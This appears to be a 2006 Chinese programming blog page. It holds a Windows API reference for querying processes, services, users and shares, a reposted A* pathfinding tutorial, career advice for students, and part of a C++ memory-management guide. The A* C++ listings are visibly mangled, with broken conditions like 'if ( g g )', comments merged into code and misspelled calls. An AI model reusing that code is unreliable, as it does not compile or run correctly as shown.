关于作者

用户名:shmilylff
笔名:shmilylff
地区: 江苏-南京
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



友情博客

网络资源

编程参考

开源天地

友情链接

我的信箱

天气预报

现在时间

网上搜索

Google
全球搜索 本站搜索

为您服务

有事Q我

点击这里给我发消息

历史上的今天

音乐时尚

博客公告

   本博客资料部分来源于互联网,其版权归原作者或其他合法者所有.如本站内容侵犯了您的权益,请及时与本人联系,我将尽快处理!
   本博客旨在记录我成长的历程,记载我对编程的无限热爱!
  欢迎大家的光临,您的支持是我不断前进的源动力!如果您对本站有什么意见或建议,请与我联系!

访问统计:
文章个数:251
评论个数:82
留言条数:41




Powered by BlogDriver 2.1

我爱我方

 

好读书,求甚解,每有会意便击节高歌,欣然忘食!

文章

欢迎访问栀子花论坛!  (作者置顶)

- 作者: shmilylff 2005年12月20日, 星期二 21:37  回复(0) |  引用(3) 加入博采

自勉  (作者置顶)

方向比努力重要!能力比知识重要!健康比财富重要!生活比文凭重要!EQ比IQ重要!

- 作者: shmilylff 2005年12月19日, 星期一 10:18  回复(6) |  引用(3) 加入博采

获取信息的有关Windows API技术教程
1.窗口信息
MS为我们提供了打开特定桌面和枚举桌面窗口的函数。
hDesk = OpenDesktop(lpszDesktop, 0, FALSE, DESKTOP_ENUMERATE);

// 打开我们默认的Default桌面;
EnumDesktopWindows(hDesk,(WNDENUMPROC)EnumWindowProc, 0);
// 枚举打开桌面上的所有窗口,由回调函数实现。
BOOL __stdcall EnumWindowProc(HWND, LPARAM);
// 在回调函数中,我们可以获得窗口的标题和相关进程,线程信息;
GetWindowText(hWnd, szWindowText, dwMaxCount);
GetWindowThreadProcessId(hWnd, &dwPID);

2.设备驱动器信息(服务和设备驱动器差不多,在此不做重复)
设备驱动信息有服务控制管理器(SCM)来管理的,我要打开服务控制管理器,并枚举所有的设备驱动器。
OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
// 以所有权限打开服务控制管理器;
EnumServicesStatus(schManager, dwDeviceType, dwDeviceState,
        EnumStatus, dwBufSize, &dwBytesNeeded, &dwDevicesReturned, &dwResumeHandle))
// 枚举所有设备的当前状态;
CloseServiceHandle(schManager);
// 记住,在结束访问后要关闭服务句柄;
OpenService(schManager, szDeviceName, SERVICE_ALL_ACCESS);
// 打开特定的设备驱动器;
QueryServiceConfig(schDevice, lpDeviceConfig, 1024 * 8, &dwBytesNeeded);
// 查询驱动器的服务配置信息;
QueryServiceStatus(schDevice, &DeviceStatus);
// 查询设备驱动器的当前状态;
QueryServiceConfig2(schDevice, SERVICE_CONFIG_DESCRIPTION, (LPBYTE)lpDeviceDescription, 8*1024, &dwBytesNeeded)
// 查询设备的描述信息;
StartService(schDevice, 0, NULL);
// 启动设备;
ControlService(schDevice, SERVICE_CONTROL_STOP, &DeviceStatus);
// 停止设备;
DeleteService(schDevice);
// 删除设备;

3.磁盘信息
我们希望获得系统所有磁盘的信息,包括软盘,硬盘,光盘等等;
GetLogicalDriveStrings(dwBufferLength, lpBuffer);
// 获得逻辑设备的信息;
GetVolumeInformation(lpRootPathName, lpVolumeNameBuffer, dwVolumeNameSize, &dwVolumeSerialNumber,
&dwMaximumComponentLength, &dwFileSystemFlags, lpFileSystemNameBuffer, dwFileSystemNameSize);
// 获得磁盘卷信息,包括卷名称和格式类型;
GetDiskFreeSpaceEx(lpRootPathName, &FreeBytesAvailable, &TotalNumberOfBytes, &TotalNumberOfFreeBytes);
// 探测磁盘的空间使用情况;

4.环境变量
我们可以从注册表中获得环境块的信息:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment,当然要使用注册表的函数。
RegOpenKeyEx(HKEY_LOCAL_MACHINE, RegKey, 0, KEY_QUERY_VALUE, &hKey);
// 打开注册表的键;
RegEnumValue(hKey, dwIndex, EnvironVariable, &dwVariableLength, NULL, NULL, NULL, NULL);
// 查询我们需要的信息值;
GetEnvironmentVariable(EnvironVariable, EnvironString, 1024);
// 获得环境变量的符串信息;

5.事件记录信息
OpenEventLog(NULL, szLog);
// 打开时间日志记录;
GetOldestEventLogRecord(hEvent, &dwThisRecord);
// 获得最新的日志信息,以便继续查找;
ReadEventLog(hEvent, EVENTLOG_FORWARDS_READ │ EVENTLOG_SEQUENTIAL_READ,
        0, pEventLogRecord, 1024 * 32, &dwRead, &dwNeeded);
// 读去日志信息;
LookupAccountSid(NULL, pSid, szName, &dwName, szDomain, &dwDomain, &SNU);
// 获取账户的SID,以便获得账户的用户名称;
GetNumberOfEventLogRecords(hEvent, &dwTotal);
// 获得事件日志的总数;
CloseEventLog(hEvent);
// 不要忘记关闭事件句柄;

6.网络共享
我们使用第二等级的网络共享搜索;
NetShareEnum(NULL, dwLevel,(PBYTE *)&pBuf, MAX_PREFERRED_LENGTH, &entriesread, &totalentries, &resume);
// 列举所有的共享目录及相关信息;
NetApiBufferFree(pBuf);
// 释放缓冲区;
NetShareDel(NULL, (char *)lpShareNameW, 0);
// 删除网络共享目录;

7.网络适配器信息
我们要探测NIC的信息和网络流量;
GetAdaptersInfo(&AdapterInfo, &OutBufLen);
// 获取适配器信息;

8.系统性能
获取系统的存储器使用情况;
GetPerformanceInfo(&PerfInfo, sizeof(PERFORMACE_INFORMATION))
// 获取系统性能信息;

9.进程/线程/模块信息
在此我们使用工具帮助函数(ToolHelp32)和系统
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY │ TOKEN_ADJUST_PRIVILEGES, &hToken);
// 打开进程的令牌,提升权限;
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
// 将进程的权限提升到支持调试(Debug);
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
// 创建进程的快照;
Process32First(hProcessSnap, &ProcessEntry32);
Process32First(hProcessSnap, &ProcessEntry32);
// 枚举所有进程;
OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, ProcessEntry32.th32ProcessID);
// 打开特定进程,以查询进程相关信息;
GetProcessTimes(hProcess, &CreateTime, &ExitTime, &KernelTime, &UserTime);
// 获取进程的时间信息; 
GetProcessMemoryInfo(hProcess, &PMCounter, sizeof(PMCounter));
// 获取进程的存储区信息;
GetPriorityClass(hProcess);
// 获取进程的优先权;
GetProcessIoCounters(hProcess, &IoCounters);
// 获取进程的IO使用情况;
CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID);
// 创建模块快照;
Module32First(hModuleSnap, &ModuleEntry32);
Module32Next(hModuleSnap, &ModuleEntry32);
// 枚举进程模块信息;
CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
// 创建线程快照;
Thread32First(hThreadSnap, &ThreadEntry32);
Thread32Next(hThreadSnap, &ThreadEntry32);
// 枚举线程信息;
OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadEntry32.th32ThreadID);
// 打开线程,须自己获得此函数地址;
TerminateProcess(hProcess,0);
// 终止进程;
SuspendThread(hThread);
// 悬挂线程;
ResumeThread(hThread);
// 激活线程;

10.关机
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
// 调整进程令牌,使其支持关机;
ExitWindowsEx(EWX_LOGOFF, 0);
// 注销系统;
LockWorkStation();
// 锁定系统;
InitiateSystemShutdown(NULL, szMessage, dwTimeout, FALSE, bSig);
// 支持到记时和消息显示的关机/重启;
SetSystemPowerState(bSig, FALSE);
// 系统休眠/冬眠;

11.用户信息
NetUserEnum(NULL, dwLevel, FILTER_NORMAL_ACCOUNT, (LPBYTE*)&pBuf,
        dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
// 枚举系统用户信息;
NetUserDel(NULL, lpUserNameW); 
// 删除指定用户;

12.系统版本信息
GetVersionEx((LPOSVERSIONINFO)&osviex);
// 获取操作系统的版本信息;
我们也可以通过注册表(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion)获取相关信息:
GetTickCount();
// 获取开机时间;
GetComputerName(szInfo, &dwInfo);
// 获取计算机名称;
GetUserName(szInfo, &dwInfo);
// 获取计算机用户名;
GetWindowsDirectory(szInfo, MAX_PATH + 1);
// 获取Windows目录;
GetSystemDirectory(szInfo, MAX_PATH + 1);
// 获取系统目录;

- 作者: shmilylff 2006年06月8日, 星期四 18:48  回复(0) |  引用(3) 加入博采

A*算法(转)

今天无意间注意到了baidu举办的程序设计大赛,其中去年的冠军就使用了

基于对A*算法的好奇加之自己也想好好学习下算法知识,于是找到了下面的好文章,拿来于大家分享.同时非常感谢原作者.

还有一个国外博士的网站要推荐下:http://theory.stanford.edu/~amitp/GameProgramming/

初识A*算法 

                                                  Sunway
  
目 录
  1 何谓启发式搜索算法
  2 初识A*算法



  写这篇文章的初衷是应一个网友的要求,当然我也发现现在有关人工智能的中文站点实在太少,我在这里抛砖引玉,希望大家都来热心的参与。还是说正题,我先拿A*算法开刀,是因为A*在游戏中有它很典型的用法,是人工智能在游戏中的代表。A*算法在人工智能中是一种典型的启发式搜索算法,为了说清楚A*算法,我看还是先说说何谓启发式算法。

1、何谓启发式搜索算法
  在说它之前先提提状态空间搜索。状态空间搜索,如果按专业点的说法就是将问题求解过程表现为从初始状态到目标状态寻找这个路径的过程。通俗点说,就是在解一个问题时,找到一条解题的过程可以从求解的开始到问题的结果(好象并不通俗哦)。由于求解问题的过程中分枝有很多,主要是求解过程中求解条件的不确定性,不完备性造成的,使得求解的路径很多这就构成了一个图,我们说这个图就是状态空间。问题的求解实际上就是在这个图中找到一条路径可以从开始到结果。这个寻找的过程就是状态空间搜索。
  常用的状态空间搜索有深度优先和广度优先。广度优先是从初始状态一层一层向下找,直到找到目标为止。深度优先是按照一定的顺序前查找完一个分支,再查找另一个分支,以至找到目标为止。这两种算法在数据结构书中都有描述,可以参看这些书得到更详细的解释。
  前面说的广度和深度优先搜索有一个很大的缺陷就是他们都是在一个给定的状态空间中穷举。这在状态空间不大的情况下是很合适的算法,可是当状态空间十分大,且不预测的情况下就不可取了。他的效率实在太低,甚至不可完成。在这里就要用到启发式搜索了。
  启发式搜索就是在状态空间中的搜索对每一个搜索的位置进行评估,得到最好的位置,再从这个位置进行搜索直到目标。这样可以省略大量无畏的搜索路径,提到了效率。在启发式搜索中,对位置的估价是十分重要的。采用了不同的估价可以有不同的效果。我们先看看估价是如何表示的。
  启发中的估价是用估价函数表示的,如:

f(n) = g(n) + h(n)

  其中f(n) 是节点n的估价函数,g(n)实在状态空间中从初始节点到n节点的实际代价,h(n)是从n到目标节点最佳路径的估计代价。在这里主要是h(n)体现了搜索的启发信息,因为g(n)是已知的。如果说详细点,g(n)代表了搜索的广度的优先趋势。但是当h(n) >> g(n)时,可以省略g(n),而提高效率。这些就深了,不懂也不影响啦!我们继续看看何谓A*算法。

2、初识A*算法
  启发式搜索其实有很多的算法,比如:局部择优搜索法、最好优先搜索法等等。当然A*也是。这些算法都使用了启发函数,但在具体的选取最佳搜索节点时的策略不同。象局部择优搜索法,就是在搜索的过程中选取“最佳节点”后舍弃其他的兄弟节点,父亲节点,而一直得搜索下去。这种搜索的结果很明显,由于舍弃了其他的节点,可能也把最好的节点都舍弃了,因为求解的最佳节点只是在该阶段的最佳并不一定是全局的最佳。最好优先就聪明多了,他在搜索时,便没有舍弃节点(除非该节点是死节点),在每一步的估价中都把当前的节点和以前的节点的估价值比较得到一个“最佳的节点”。这样可以有效的防止“最佳节点”的丢失。那么A*算法又是一种什么样的算法呢?其实A*算法也是一种最好优先的算法。只不过要加上一些约束条件罢了。由于在一些问题求解时,我们希望能够求解出状态空间搜索的最短路径,也就是用最快的方法求解问题,A*就是干这种事情的!我们先下个定义,如果一个估价函数可以找出最短的路径,我们称之为可采纳性。A*算法是一个可采纳的最好优先算法。A*算法的估价函数可表示为:

f'(n) = g'(n) + h'(n)

  这里,f'(n)是估价函数,g'(n)是起点到终点的最短路径值,h'(n)是n到目标的最断路经的启发值。由于这个f'(n)其实是无法预先知道的,所以我们用前面的估价函数f(n)做近似。g(n)代替g'(n),但 g(n)>=g'(n)才可(大多数情况下都是满足的,可以不用考虑),h(n)代替h'(n),但h(n)<=h'(n)才可(这一点特别的重要)。可以证明应用这样的估价函数是可以找到最短路径的,也就是可采纳的。我们说应用这种估价函数的最好优先算法就是A*算法。哈。你懂了吗?肯定没懂。接着看。
  举一个例子,其实广度优先算法就是A*算法的特例。其中g(n)是节点所在的层数,h(n)=0,这种h(n)肯定小于h'(n),所以由前述可知广度优先算法是一种可采纳的。实际也是。当然它是一种最臭的A*算法。
再说一个问题,就是有关h(n)启发函数的信息性。h(n)的信息性通俗点说其实就是在估计一个节点的值时的约束条件,如果信息越多或约束条件越多则排除的节点就越多,估价函数越好或说这个算法越好。这就是为什么广度优先算法的那么臭的原因了,谁叫它的h(n)=0,一点启发信息都没有。但在游戏开发中由于实时性的问题,h(n)的信息越多,它的计算量就越大,耗费的时间就越多。就应该适当的减小h(n)的信息,即减小约束条件。但算法的准确性就差了,这里就有一个平衡的问题。可难了,这就看你的了!
  好了我的话也说得差不多了,我想你肯定是一头的雾水了,其实这是写给懂A*算法的同志看的。哈哈。你还是找一本人工智能的书仔细看看吧!我这几百字是不足以将A*算法讲清楚的。只是起到抛砖引玉的作用希望大家热情参与吗。

深入A*算法 

                                 -浅析A*算法在搜索最短路径中的应用

                                                  Sunway
  目 录
  1 A*算法的程序编写原理
  2 用A*算法实现最短路径的搜索



  在这里我将对A*算法的实际应用进行一定的探讨,并且举一个有关A*算法在最短路径搜索的例子。值得注意的是这里并不对A*的基本的概念作介绍,如果你还对A*算法不清楚的话,请看姊妹篇《初识A*算法》。
  这里所举的例子是参考AMIT主页中的一个源程序,你可以在AMIT的站点上下载也可以在我的站点上下载。你使用这个源程序时,应该遵守一定的公约。

1、A*算法的程序编写原理
  我在《初识A*算法》中说过,A*算法是最好优先算法的一种。只是有一些约束条件而已。我们先来看看最好优先算法是如何编写的吧。如图有如下的状态空间:(起始位置是A,目标位置是P,字母后的数字表示节点的估价值)。
  如图有如下的状态空间:(起始位置是A,目标位置是P,字母后的数字表示节点的估价值)

图1 状态空间图

  搜索过程中设置两个表:OPEN和CLOSED。OPEN表保存了所有已生成而未考察的节点,CLOSED表中记录已访问过的点。算法中有一步是根据估价函数重排OPEN表。这样循环中的每一步只考虑OPEN表中状态最好的节点。具体搜索过程如下:

  1)初始状态:
      OPEN=[A5];            CLOSED=[];
  2)估算A5,取得搜有子节点,并放入OPEN表中;
      OPEN=[B4, C4, D6];        CLOSED=[A5]
  3)估算B4,取得搜有子节点,并放入OPEN表中;
      OPEN=[C4, E5, F5, D6];      CLOSED=[B4, A5]
  4)估算C4;取得搜有子节点,并放入OPEN表中;
      OPEN=[H3, G4, E5, F5, D6]     CLOSED=[C4, B4, A5]
  5)估算H3,取得搜有子节点,并放入OPEN表中;
      OPEN=[O2, P3, G4, E5, F5, D6];  CLOSED=H3C4, B4, A5]
  6)估算O2,取得搜有子节点,并放入OPEN表中;
      OPEN=[P3, G4, E5, F5, D6];    CLOSED=[O2, H3, C4, B4, A5]
  7)估算P3,已得到解;

  看了具体的过程,再看看伪程序吧。算法的伪程序如下:

  Best_First_Search()
  {
    Open = [起始节点];
    Closed = [];
    while ( Open表非空 )
    {
      从Open中取得一个节点X, 并从OPEN表中删除.
      if (X是目标节点)
      {
        求得路径PATH;
        返回路径PATH;
      }
      for (每一个X的子节点Y)
      {
        if( Y不在OPEN表和CLOSE表中 )
        {
          求Y的估价值;
          并将Y插入OPEN表中; 
//还没有排序
        }
        else if( Y在OPEN表中 )
        {
          if( Y的估价值小于OPEN表的估价值 )
            更新OPEN表中的估价值;
        }
        else
//Y在CLOSE表中
        {
          if( Y的估价值小于CLOSE表的估价值 )
          {
            更新CLOSE表中的估价值;
            从CLOSE表中移出节点, 并放入OPEN表中;
          }
        }
        将X节点插入CLOSE表中;
        按照估价值将OPEN表中的节点排序;
      }
 //end for
    } //end while
  } //end func

  啊!伪程序出来了,写一个源程序应该不是问题了,依葫芦画瓢就可以。A*算法的程序与此是一样的,只要注意估价函数中的g(n)的h(n)约束条件就可以了。不清楚的可以看看《初识A*算法》。好了,我们可以进入另一个重要的话题,用A*算法实现最短路径的搜索。在此之前你最好认真的理解前面的算法。不清楚可以找我。

2、用A*算法实现最短路径的搜索
  在游戏设计中,经常要涉及到最短路径的搜索,现在一个比较好的方法就是用A*算法进行设计。他的好处我们就不用管了,反正就是好!
  注意下面所说的都是以ClassAstar这个程序为蓝本,你可以在这里下载这个程序。这个程序是一个完整的工程。里面带了一个EXE文件。可以先看看。
  先复习一下,A*算法的核心是估价函数f(n),它包括g(n)和h(n)两部分。g(n)是已经走过的代价,h(n)是n到目标的估计代价。在这个例子中g(n)表示在状态空间从起始节点到n节点的 深度,h(n)表示n节点所在地图的位置到目标位置的直线距离。啊!一个是状态空间,一个是实际的地图,不要搞错了。再详细点说,有一个物体A,在地图上的坐标是(xa,ya),A所要到达的目标b的坐标是(xb,yb)。则开始搜索时,设置一个起始节点1,生成八个子节点2 - 9 因为有八个方向。如图:

图2 节点图


  先看搜索主函数:

  void AstarPathfinder::FindPath(int sx, int sy, int dx, int dy)
  {
    NODE *Node, *BestNode;
    int TileNumDest;


    //得到目标位置,作判断用
    TileNumDest = TileNum(sx, sy);

    //生成Open和Closed表
    OPEN=( NODE* )calloc(1,sizeof( NODE ));
    CLOSED=( NODE* )calloc(1,sizeof( NODE ));


    //生成起始节点,并放入Open表中
    Node=( NODE* )calloc(1,sizeof( NODE ));
    Node->g = 0;


    //这是计算h值
    Node->h = (dx-sx)*(dx-sx) + (dy-sy)*(dy-sy); // should really use sqrt().

    //这是计算f值,即估价值
    Node->f = Node->g+Node->h;
    Node->NodeNum = TileNum(dx, dy);
    Node->x = dx;
    Node->y = dy;

    OPEN->NextNode=Node;
// make Open List point to first node
    for (;;)
    {

      //从Open表中取得一个估价值最好的节点
      BestNode=ReturnBestNode();

      //如果该节点是目标节点就退出
      if (BestNode->NodeNum == TileNumDest) // if we've found the end, break and finish
        break;
      //否则生成子节点
      GenerateSuccessors(BestNode,sx,sy);
    }
    PATH = BestNode;
  }


  再看看生成子节点函数 GenerateSuccessors:

  void AstarPathfinder::GenerateSuccessors(NODE *BestNode, int dx, int dy)
  {
    int x, y;


    //依次生成八个方向的子节点,简单!
    // Upper-Left

    if ( FreeTile(x=BestNode->x-TILESIZE, y=BestNode->y-TILESIZE) )
      GenerateSucc(BestNode,x,y,dx,dy);

    // Upper
    if ( FreeTile(x=BestNode->x, y=BestNode->y-TILESIZE) )
      GenerateSucc(BestNode,x,y,dx,dy);

    // Upper-Right
    if ( FreeTile(x=BestNode->x+TILESIZE, y=BestNode->y-TILESIZE) )
      GenerateSucc(BestNode,x,y,dx,dy);

    // Right
    if ( FreeTile(x=BestNode->x+TILESIZE, y=BestNode->y) )
      GenerateSucc(BestNode,x,y,dx,dy);

    // Lower-Right
    if ( FreeTile(x=BestNode->x+TILESIZE, y=BestNode->y+TILESIZE) )
      GenerateSucc(BestNode,x,y,dx,dy);

    // Lower
    if ( FreeTile(x=BestNode->x, y=BestNode->y+TILESIZE) )
      GenerateSucc(BestNode,x,y,dx,dy);

    // Lower-Left
    if ( FreeTile(x=BestNode->x-TILESIZE, y=BestNode->y+TILESIZE) )
      GeneraeSucc(BestNode,x,y,dx,dy);

    // Left
    if ( FreeTile(x=BestNode->x-TILESIZE, y=BestNode->y) )
      GenerateSucc(BestNode,x,y,dx,dy);
  }


  看看最重要的函数GenerateSucc:

  void AstarPathfinder::GenerateSucc(NODE *BestNode,int x, int y, int dx, int dy)
  {
    int g, TileNumS, c = 0;
    NODE *Old, *Successor;


    //计算子节点的 g 值
    g = BestNode->g+1; // g(Successor)=g(BestNode)+cost of getting from BestNode to Successor
    TileNumS = TileNum(x,y); // identification purposes

    //子节点再Open表中吗?

    if ( (Old=CheckOPEN(TileNumS)) != NULL ) // if equal to NULL then not in OPEN list,
                         // else it returns the Node in Old

    {
      //若在
      for( c = 0; c <8; c++)
        if( BestNode->Child[c] == NULL )
// Add Old to the list of BestNode's Children
                         // (or Successors).

         break;
        BestNode->Child[c] = Old;

        //比较Open表中的估价值和当前的估价值(只要比较g值就可以了)
        if ( g g ) // if our new g value is Parent = BestNode;
          Old->g = g;
          Old->f = g + Old->h;
        }
      }
      else
//在Closed表中吗?
        if ( (Old=CheckCLOSED(TileNumS)) != NULL ) // if equal to NULL then not in OPEN list
                              // else it returns the Node in Old

        {
          //若在
          for( c = 0; c<8; c++)
            if ( BestNode->Child[c] == NULL )
// Add Old to the list of BestNode's
                             // Children (or Successors). break;

            BestNode->Child[c] = Old;
            //比较Closed表中的估价值和当前的估价值(只要比较g值就可以了)
            if ( g g ) // if our new g value is Parent = BestNode;
              Old->g = g;
              Old->f = g + Old->h;
//再依次更新Old的所有子节点的估价值
              PropagateDown(Old); // Since we changed the g value of Old, we need
                         // to propagate this new value downwards, i.e.
                         // do a Depth-First traversal of the tree!

             }
        }
        else
//不在Open表中也不在Close表中
        {
          //生成新的节点
          Successor = ( NODE* )calloc(1,sizeof( NODE ));
          Successor->Parent = BestNode;
          Successor->g = g;
          Successor->h = (x-dx)*(x-dx) + (y-dy)*(y-dy);
// should do sqrt(), but since we
                                   don't really

          Successor->f = g+Successor->h; // care about the distance but just which branch
          looks Successor->x = x; // better this should suffice. Anyayz it's faster.
          Successor->y = y;
          Successor->NodeNum = TileNumS;

          //再插入Open表中,同时排序。
          Insert(Successor); // Insert Successor on OPEN list wrt f
          for( c =0; c <8; c++)
            if ( BestNode->Child[c] == NULL )
// Add Old to the list of BestNode's
                              Children (or Successors).

            break;
          BestNode->Child[c] = Successor;
        }
  }


  哈哈。A*算法我懂了。当然,我希望你有这样的感觉。不过我还要再说几句。仔细看看这个程序,你会发现,这个程序和我前面说的伪程序有一些不同,在GenerateSucc函数中,当子节点在Closed表中时,没有将子节点从Closed表中删除并放入Open表中。而是直接的重新的计算该节点的所有子节点的估价值(用PropagateDown函数)。这样可以快一些。另当子节点在Open表和Closed表中时,重新的计算估价值后,没有重新的对Open表中的节点排序,我有些想不通,为什么不排呢?会不会是一个小小的BUG。你知道告诉我好吗?
  好了。主要的内容都讲完了,还是完整仔细的看看源程序吧。希望我所的对你有一点帮助,一点点也可以。如果你对文章中的观点有异议或有更好的解释都告诉我。

   下载本文的源程序(34KB)

- 作者: shmilylff 2006年06月1日, 星期四 10:46  回复(0) |  引用(3) 加入博采

大学生如何为加盟Google做准备

大学生如何为加盟Google做准备

厚积薄发,有的放矢
李开复博士给中国计算机系大学生的建议

很多在校的大学同学问我们:“我今年还没有到毕业班,但我很想知道,如果将来想申请Google中国工程研究院,现在应该如何让自己做好准备?”下面是Google中国总裁李开复博士和其他一些Google资深的华人工程师给广大同学的建议。

1)练内功。不要只花功夫学习各种流行的编程语言和工具,以及一些公司招聘广告上要求的科目。要把数据结构、算法、数据库、操作系统原理、计算机体系结构、计算机网络,离散数学等基础课程学好。不妨试试Donald KnuthArt of Computer Programming里的题目,如果你能够解决其中的大部分题目,就说明你在算法方面的功力不错了。

2)多实战。通过编程的实战积累经验、内化知识。建议大家争取在大学四年中积累编写十万行代码的经验。

3)求实干。不要轻视任何的实际工作,比如一些看似简单的编码或测试。要不懈追求对细节一丝不苟的实干作风与职业精神。

4)不放弃数学。数学是思维的体操,数学无处不在。尤其当你对一些“数学密集型”的领域有兴趣,例如视频、图像处理等等,你需要使它成为你的利器。

5)培养团队精神,学会与人合作。

6)激励创新意识,不为书本和权威意见所束缚。

7)有策略地“打工”。在不影响学业的前提下,寻找真正有意义的暑期工作或兼职。去找一个重视技术的公司,在一个好的“老板”指导下完成真正会被用户使用的程序。不要急于去一个要你做“头”而独挡一面的地方,因为向别人学习,是你的目的。打工和找工作一样,“不要只看待遇和职衔,要挑一个你能够学习的环境,一个愿意培养员工的企业,一个重视你的专业的公司,最后,要挑一个好老板。”

- 作者: shmilylff 2006年06月1日, 星期四 10:45  回复(0) |  引用(3) 加入博采

C++内存管理详解

伟大的Bill Gates 曾经失言:
  640K ought to be enough for everybody — Bill Gates 1981
  程序员们经常编写内存管理程序,往往提心吊胆。如果不想触雷,唯一的解决办法就是发现所有潜伏的地雷并且排除它们,躲是躲不了的。本文的内容比一般教科书的要深入得多,读者需细心阅读,做到真正地通晓内存管理。

1、内存分配方式

  内存分配方式有三种:
  (1)从静态存储区域分配。内存在程序编译的时候就已经分配好,这块内存在程序的整个运行期间都存在。例如全局变量,static变量。

  (2)在栈上创建。在执行函数时,函数内局部变量的存储单元都可以在栈上创建,函数执行结束时这些存储单元自动被释放。栈内存分配运算内置于处理器的指令集中,效率很高,但是分配的内存容量有限。

  (3) 从堆上分配,亦称动态内存分配。程序在运行的时候用malloc或new申请任意多少的内存,程序员自己负责在何时用free或delete释放内存。动态内存的生存期由我们决定,使用非常灵活,但问题也最多。

2、常见的内存错误及其对策
发生内存错误是件非常麻烦的事情。编译器不能自动发现这些错误,通常是在程序运行时才能捕捉到。而这些错误大多没有明显的症状,时隐时现,增加了改错的难度。有时用户怒气冲冲地把你找来,程序却没有发生任何问题,你一走,错误又发作了。 常见的内存错误及其对策如下:

  * 内存分配未成功,却使用了它。
  编程新手常犯这种错误,因为他们没有意识到内存分配会不成功。常用解决办法是,在使用内存之前检查指针是否为NULL。如果指针p是函数的参数,那么在函数的入口处用assert(p!=NULL)进行

  检查。如果是用malloc或new来申请内存,应该用if(p==NULL) 或if(p!=NULL)进行防错处理。

  * 内存分配虽然成功,但是尚未初始化就引用它。

  犯这种错误主要有两个起因:一是没有初始化的观念;二是误以为内存的缺省初值全为零,导致引用初值错误(例如数组)。内存的缺省初值究竟是什么并没有统一的标准,尽管有些时候为零值,我们宁可信其无不可信其有。所以无论用何种方式创建数组,都别忘了赋初值,即便是赋零值也不可省略,不要嫌麻烦。

  * 内存分配成功并且已经初始化,但操作越过了内存的边界。

  例如在使用数组时经常发生下标“多1”或者“少1”的操作。特别是在for循环语句中,循环次数很容易搞错,导致数组操作越界。

  * 忘记了释放内存,造成内存泄露。

  含有这种错误的函数每被调用一次就丢失一块内存。刚开始时系统的内存充足,你看不到错误。终有一次程序突然死掉,系统出现提示:内存耗尽。

  动态内存的申请与释放必须配对,程序中malloc与free的使用次数一定要相同,否则肯定有错误(new/delete同理)。

  * 释放了内存却继续使用它。
 
  有三种情况:

  (1)程序中的对象调用关系过于复杂,实在难以搞清楚某个对象究竟是否已经释放了内存,此时应该重新设计数据结构,从根本上解决对象管理的混乱局面。

  (2)函数的return语句写错了,注意不要返回指向“栈内存”的“指针”或者“引用”,因为该内存在函数体结束时被自动销毁。

  (3)使用free或delete释放了内存后,没有将指针设置为NULL。导致产生“野指针”。

  【规则1】用malloc或new申请内存之后,应该立即检查指针值是否为NULL。防止使用指针值为NULL的内存。

  【规则2】不要忘记为数组和动态内存赋初值。防止将未被初始化的内存作为右值使用

  【规则3】避免数组或指针的下标越界,特别要当心发生“多1”或者“少1”操作。

  【规则4】动态内存的申请与释放必须配对,防止内存泄漏。

  【规则5】用free或delete释放了内存之后,立即将指针设置为NULL,防止产生“野指针”。

3、指针与数组的对比

  C++/C程序中,指针和数组在不少地方可以相互替换着用,让人产生一种错觉,以为两者是等价的。

  数组要么在静态存储区被创建(如全局数组),要么在栈上被创建。数组名对应着(而不是指向)一块内存,其地址与容量在生命期内保持不变,只有数组的内容可以改变。

  指针可以随时指向任意类型的内存块,它的特征是“可变”,所以我们常用指针来操作动态内存。指针远比数组灵活,但也更危险。

  下面以字符串为例比较指针与数组的特性。

  3.1 修改内容

  示例3-1中,字符数组a的容量是6个字符,其内容为hello。a的内容可以改变,如a[0]= ‘X’。指针p指向常量字符串“world”(位于静态存储区,内容为world),常量字符串的内容是不可以被修改的。从语法上看,编译器并不觉得语句 p[0]= ‘X’有什么不妥,但是该语句企图修改常量字符串的内容而导致运行错误。

char a[] = “hello”;
a[0] = ‘X’;
cout << a << endl;
char *p = “world”; // 注意p指向常量字符串
p[0] = ‘X’; // 编译器不能发现该错误
cout << p << endl;
      示例3.1 修改数组和指针的内容

 
  3.2 内容复制与比较

  不能对数组名进行直接复制与比较。示例7-3-2中,若想把数组a的内容复制给数组b,不能用语句 b = a ,否则将产生编译错误。应该用标准库函数strcpy进行复制。同理,比较b和a的内容是否相同,不能用if(b==a) 来判断,应该用标准库函数strcmp进行比较。

  语句p = a 并不能把a的内容复制指针p,而是把a的地址赋给了p。要想复制a的内容,可以先用库函数malloc为p申请一块容量为strlen(a)+1个字符的内存,再用strcpy进行字符串复制。同理,语句if(p==a) 比较的不是内容而是地址,应该用库函数strcmp来比较。


// 数组…
char a[] = "hello";
char b[10];
strcpy(b, a); // 不能用 b = a;
if(strcmp(b, a) == 0) // 不能用 if (b == a)

// 指针…
int len = strlen(a);
char *p = (char *)malloc(sizeof(char)*(len+1));
strcpy(p,a); // 不要用 p = a;
if(strcmp(p, a) == 0) // 不要用 if (p == a)

       示例3.2 数组和指针的内容复制与比较

 
3.3 计算内存容量

  用运算符sizeof可以计算出数组的容量(字节数)。
示例7-3-3(a)中,sizeof(a)的值是12(注意别忘了’’)。指针p指向a,但是 sizeof(p)的值却是4。这是因为sizeof(p)得到的是一个指针变量的字节数,相当于sizeof(char*),而不是p所指的内存容量。 C++/C语言没有办法知道指针所指的内存容量,除非在申请内存时记住它。
注意当数组作为函数的参数进行传递时,该数组自动退化为同类型的指针。
示例7-3-3(b)中,不论数组a的容量是多少,sizeof(a)始终等于sizeof(char *)。

char a[] = "hello world";
char *p = a;
cout<< sizeof(a) << endl; // 12字节
cout<< sizeof(p) << endl; // 4字节
